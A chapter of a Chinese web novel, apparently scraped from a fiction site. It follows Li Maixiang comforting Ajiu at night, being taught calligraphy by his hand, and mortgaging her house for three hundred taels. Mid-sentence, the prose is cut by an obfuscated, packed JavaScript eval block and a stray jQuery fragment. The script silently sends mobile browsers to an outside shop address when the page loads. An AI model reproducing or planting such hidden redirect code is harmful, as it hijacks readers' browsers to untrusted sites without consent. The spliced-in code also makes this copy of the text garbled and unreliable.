文趣网 > 其他小说 > 蒸蒸日上,汪汪旺 > 10.第十章 手把手教学
    李麦香有些失眠,太多的事情需要做,脑袋里有无数个想法冒出。

    她在睡前简单列了列,明天李云滨便会约着典主来抵押,还得再招募点忙活的伙计,哪哪都得盘算着。

    “哎,这老师也没教啊。”她在床榻上辗转反侧,心里想着老刘头应该再开一节课,叫古代营销学才对。

    都得自己摸索。

    她耳朵尖,听到堂屋里似乎有些动静。

    “他也没睡?”

    听声音,阿九像是起来倒水喝,茶壶碰着茶杯,发出极轻的脆响。

    蹑手蹑脚地起来之后,李麦香偷偷溜进了堂屋,看到阿九正坐在堂屋椅子上喝着茶。

    夜很深了,堂屋里漆黑一片,只有月色透过窗棂撒了满地,看得人虚虚幻幻的。

    清风拂过他的面颊,将发丝轻盈地吹起几缕,露出了一贯姣好的面容,配着清冷月色,如谪仙一般。

    阿九将茶杯稳稳放在茶案子上,随后就好像早就看到她在那里一样,似乎没多少惊讶地从容开口:

    “睡不着?”

    “嗯,你也是?”

    被发现了踪迹,李麦香倒也大大方方地现身,她此刻散着发,双手在背后挑玩着自己的长发。

    阿九抬头看了看她,此时他的眸子里倒映着月色,李麦香却感觉那颜色有些暗淡。

    “又回忆起了些往事,发现似乎有些事与之前所想不一样。”

    李麦香轻轻应了声,在他身旁坐下示意他接着说。

    “想起了再长大些,爹娘似乎对我更加严厉,每日读书时,答错了问题便会被戒尺打手心,在屋里罚站。”

    阿九轻轻抿了口茶,视线穿过堂屋,有些惆怅地望着天上皎洁的月。

    他看不清爹娘胞弟长相,回忆里只有他们的音容和一起生活的情景,他想起自己曾被打得鲜血淋漓的掌心,血流着温热的感觉伴随着冰冷的说教交织在一起。

    阿九低了低头,李麦香一时间看不清他的表情。

    “那你胞弟呢?”她开口询问道。

    她托着腮倚在桌沿,想靠得稍微近些看清他此刻正在想什么。

    “胞弟小我几岁,印象中他喜爱玩小木剑,爹总陪着他一起在中庭练剑。”他浅皱着眉头,似乎在努力地回想着。

    “或许他长大也要和你一起挨打。”李麦香想起小时候隔壁邻居家里面的小孩就是这样挨打的。

    烛火轻轻晃了一下,阿九忽然按住了隐隐作痛的额角,闭上了眼睛。

    过了许久,他垂下眼帘,盯着自己的手掌,嘴角扯了扯继续说道:

    “我记起来了,小时候,爹的书房里总是摆满了兵书和刀枪,他说血性男儿应当上场杀敌保卫家国,说我整天研究些之乎者也,应当把心思多用在习武之上。”

    “胞弟能骑马射箭,爹娘总夸他英武。而我……”

    他顿了顿,抬眼看了看李麦香,眸中涌现了些雾色,“或许爹娘从未对我抱过希望。”

    这是李麦香第一次切实地看到他眼里流露出的脆弱,他清透的瞳孔此刻如同冰裂的湖面,让她莫名地有些心疼。

    这是什么神级一碗水端不平的剧情,李麦香顿时觉得火气上涨,开口打抱不平:

    “我觉得你很好。我虽不认识你爹娘和你胞弟,但我认识你。你手脚麻利,干活勤快,头脑还聪明,还会做饭,你还有特别灵的鼻子!这些都帮了我很多忙,而且!”

    她一口气罗列着很多溢美之词,意识到嘴快突然顿了顿。

    而且你还长得很好看。

    阿九似乎很是疑惑,扭头看了看她的眼睛,探究着她接下来要说什么。

    “而且……而且他们对你不寄希望又如何,武能救国文便不能?那么多文人志士慷慨陈词,在朝堂上建言献策,他们的努力就该被忽视么?我不敢苟同。”

    “虽然我不知道你之前是做什么的,但就算是一个名不见经传的小芝麻官,也有他存在的价值。”

    李麦香一下子打开了话匣子,她又何尝不是从小就被父母不待见,她最懂那种被冷落的感觉。

    “我们每个人都是很有用的人,只要能拿出自己最擅长的东西去帮助到别人就行。”

    阿九怔怔地看着眼前眼神明亮、脸颊因为激动而微微泛红的女孩,原本按在额角的手缓缓放了下来。

    因为突如其来的回忆而龟裂的夜晚,被她慷慨陈词灌溉。

    他曾想着就这样饮茶到天亮,就这样自己应对着记忆涌来,却没想到那个在书房角落抱着圣贤书的小男孩,在这样一个月光皎洁的夜晚,被轻轻地拥抱。

    千言万语都堵在胸口,最终只化作了一声极轻极轻的浅笑。

    久旱逢甘霖。

    *

    第二天,李麦香一早就拉着阿九一起去买红纸和笔墨,嘴里念叨着招工招工,还称呼自己为HR。

    挨尺二?

    那是几品官员?

    阿九带着满满的疑问一路上被李麦香缠着,想要插话却找不到合适档口,便一直在心里压着这个问题。

    回屋之后,短短几笔,李麦香便写成红纸黑字:

    招工启事

    回味居诚招后厨学徒、跑堂小二数名,包吃不包住,工钱面议

    看着歪歪扭扭的几个大字,阿九扶了扶额,从起初他就发现,李麦香似乎不太会写字,倒不是说笔画不通顺,只是写出的字看着经常少些笔画或者是有别字。

    李麦香看阿九露出一副无奈的神情,又转头看了看自己写的字,心里是如明镜般的。

    自打穿来,她不是没有跟着李云滨拜师学艺补习过毛笔字,也曾经点烛夜读到深夜,学习古代繁体字的写法。

    可奈何,要掌握的字实在太多,再加上李云滨嫌她笨便骂骂咧咧地罢课,她只掌握了些简单字的写法,还写得歪歪斜斜。

    想到此处她转过头,可怜巴巴地望了望阿九,寻求着帮助。

    阿九被她那副可怜兮兮的模样逗得无奈一笑,随手拉过一张椅子在她身旁坐下。

    他挽起袖口,没有再取一只新笔,竟轻轻覆上她握着笔杆的手背。

    温度突然靠近,李麦香讶异之余突感脸颊燥热,原本只是想让阿九再写一张,可现在怎么变成了手把手的教学。

    他的掌心干燥且温热,有股让人安心的力量。

    两人距离不过咫尺,阿九的胸膛随着呼吸微微起伏,温热的气息轻轻拂过她的耳畔,气氛在墨香间渲染,心跳乱着拍子。

    手腕轻转,运笔不疾不徐,李麦香只觉耳根红热,手跟着他的动作描画着,心思早就飘到了九霄云外。

    她偏过头看了看他,此时他神情专注且沉静,很认真地在宣纸上游走着笔锋。

    认真的男人最好看。

    不过片刻,几个苍劲有力的大字便跃然纸上,与她刚刚写的歪歪扭扭形成鲜明的对比。

    写罢,他未立刻松手,而是自然转头撞上了她视线,李麦香不好意思地撇过了头。

    “学会了吗?”

    阿九开口问道,声音如朗朗清风,毫无旖旎之气。

    看到李麦香面红耳赤未回他话,他眉眼间均是笑意,轻轻将毛笔从纸上提起,随即松了手。

    手上力道突然退去,李麦香心里空了空,习惯了那人握着手的温度,只觉得不大适应。

    又似是意识到自己现在失了态,仓皇之间将笔挂上笔架,从凳子上蹭一下站了起来。

    “我,我去问问抵押的事情怎么样了。”丢下这句话,李麦香扭头便跑出了堂屋。

    身影很快便消失在门口,只余下堂屋内袅袅未散的墨香,和那纸上未干的字迹。

    *

    呼哧气喘地跑出门,李麦香摸了摸自己的脸还是烫烫的,心里反复回忆着刚才的一切。

    墨香,清风,心跳声。

    两人相识不久,又是因为些误解,如若他知道自己不是他救命之人,如若他知道自己或许是导致他失忆的罪魁祸首,如若......

    如若他之前早已有心仪之人。

    李麦香不敢再想。

    男女之间的情谊有很多种,李麦香在现代时就对此一窍不通,或许这只是他的一时兴起,想要教她写字罢了。

    嘴角勾起一抹苦笑,她心里也没了想法,只得转身去敲李云滨家里的门。

    刚一进门,李麦香看到桌前坐着一位穿着华服的女子,约莫三十岁,手里还捏着串沉香木珠子,看起来十分考究。

    “你来的刚好,这是柳小

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17546973|203750||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    姐,是我原先的一位旧识。”李云滨说道,随即侧身引荐,“这位便是屋子的原主,李麦香。”

    李麦香看了看眼前那位柳小姐,她原本坐着的椅子上也垫着张小帕子,随即会心一笑。

    李云滨还真是对谁都统一标准的洁癖。

    三人落座后,柳小姐微微颔首,清脆开口说道:

    “李姑娘,你的情况云滨与我也讲了个大概。咱们明人不说暗话,你这屋子我是愿意接下抵押的,但丑话得说在前头。”

    她稍微顿了顿,继续说:

    “宅子作价五百两,按律我借给你三百两现银。月息四分,也就是每月十二两,期限是两年,两年之内连本带息都得还回来。咱们签的是‘抵当契’,屋子你可以继续用,但房契正契得押在我这儿。”

    还好李麦香之前已经找李云滨恶补过这方面的知识,她心里估摸算了算一年利息就得还回去一百四十多两银子,心里不禁犯起了愁。

    “且慢。”

    就在李麦香准备咬牙点头的时候,坐在旁边的李云滨突然出声打断。

    他挽了挽鬓间碎发,抬手给柳小姐斟着茶,语气里带着几分老友间的熟稔:

    “柳姑娘,咱们都是老相识了,麦香也是实在遇上难处才出此下策。这月息四分对她一个小姑娘开包子铺来说,未免压得太狠了些。”

    “更何况,之前你也没少从我这店里拿些胭脂脂粉之类。”

    他脸上洋溢着笑容,嘴上却很是坚决。

    柳小姐拨弄木珠子的手指微微一顿,抬眼看向李云滨,似笑非笑:

    “云滨,亲兄弟还得明算账呢。我这是抵当,不是做善事,风险摆在这儿,利钱自然不能少。”

    剑拔弩张之间,李麦香也参与不进来,只能眼巴巴望着李云滨多帮她争取点让利。

    “风险自然有,可我们这地界你也知道,光是她那屋子就值五百两,你只出三百两,这中间的差价便是你最大的保障。”

    李云滨又淡淡地笑了笑,随即伸出两根手指:

    “这样如何?月息四分咱们不动,但能否给免两个月息。还有那头息也给免了吧,让她实实在在拿走三百两现银,手头宽裕些,这包子铺开起来也顺当,往后还你也更快,你说是不是这个理?”

    言罢还指了指自己头上戴着的那翠玉珠子鎏金钗,示意着柳小姐。

    柳小姐闻言,目光在两人之间转了转,随即轻笑一声,无奈地摇了摇头:

    “云滨啊云滨,你这护短的毛病真是一点没变。行吧,看在你的面子上,就按你说的来吧。但这可是破例,往后每月的利息,可一日都不能拖。”

    李云滨闻言,转头冲李麦香递了个眼神,朗声道:“那就多谢柳姑娘成全了。不如我们今日事今日毕,让麦香带着你看看屋子,顺便把房契拿来,今日就把这契签了,我来做保人。”

    李麦香在一旁听得真切,心里紧绷着的弦终于松了几分。她感激地看了李云滨一眼,连忙对着柳小姐抱了抱拳:“多谢柳小姐体谅,麦香定当信守承诺,绝不拖欠。”

    丝毫不敢耽搁,李麦香连忙引着柳小姐将回味居里里外外走了一遍。柳小姐见屋子确实收拾得井井有条,眼里也逐渐流露出了些满意的神色。

    待两人重新回到李云滨家堂屋,他早已研好墨拟好了契,李麦香拿出了房屋地契,三人又在旁签字画了押。

    而后柳小姐拍了拍手,门外候着两个健壮的仆妇,合力抬着一个沉甸甸的红木箱子走了进来。

    她打开箱盖,只见里面整整齐齐码着六枚五十两的银锭。

    “李姑娘,三百两整。”柳小姐指着箱子里的银锭说道,“拿到任何一家柜坊都能直接兑用。”

    李麦香看着那箱白花-花的银锭,头一次对钱有了这么具象化的认知,难以掩饰心里的激动。

    郑重其事,钱货两清。

    待柳小姐带着房契离去,堂屋内重新恢复了安静。

    李云滨看着她如释重负又心事重重的样子,难得没损她,开口宽慰道:

    “别太逼自己。只要包子铺开起来,这利息总能挣出来的。”

    李麦香用力地点了点头。

    她知道,从签下名字的那一刻起,她已经没有退路了。